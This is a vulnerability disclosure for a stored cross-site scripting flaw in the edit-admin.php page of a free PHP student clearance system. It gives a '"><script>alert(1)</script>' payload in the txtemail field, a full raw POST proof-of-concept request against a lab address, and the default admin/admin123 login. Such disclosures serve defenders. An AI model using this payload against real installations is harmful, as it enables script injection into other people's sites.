Vulnerability Description
Web-Based Student Clearance System in PHP Free Source Code v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the componentedit-admin.php. It is an open source project from https://www.sourcecodester.com/. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the txtemail parameter.
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BUG_Author: Tr0e
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vendors: Web-Based Student Clearance System in PHP Free Source Code;
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The program is built using the xmapp/v3.3.0 and PHP/8.1.10 version;
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Vulnerability location: /student_clearance_system_Aurthur_Javis/admin/edit-admin.php
Vulnerability Verification
[+] Payload:
"><script>alert(1)</script>POC:
POST http://192.168.0.111:91/student_clearance_system_Aurthur_Javis/admin/edit-admin.php?id=4 HTTP/1.1
Host: 192.168.0.111:91
Content-Length: 486
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.111:91
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZuvZCgQkb37Jezph
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.111:91/student_clearance_system_Aurthur_Javis/admin/edit-admin.php?id=4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=e8pdd3dv0b39d1h4vcj99q01cq
Connection: close
------WebKitFormBoundaryZuvZCgQkb37Jezph
Content-Disposition: form-data; name="txtfullname"
EKE, EMMANUEL EFA-EVAL
------WebKitFormBoundaryZuvZCgQkb37Jezph
Content-Disposition: form-data; name="txtemail"
"><script>alert(1)</script>
------WebKitFormBoundaryZuvZCgQkb37Jezph
Content-Disposition: form-data; name="cmddesignation"
Admin
------WebKitFormBoundaryZuvZCgQkb37Jezph
Content-Disposition: form-data; name="btnedit"
------WebKitFormBoundaryZuvZCgQkb37Jezph--How to verify
Build the vulnerability environment according to the steps provided by the source code author (Log in with the default account and password:admin/admin123) and execute the Payload provided above.
The vulnerability lies in the "User Manager - User Record - Action - Edit" function, you shuold inserts Payload when editing administrator user information,as shown in the following figure:
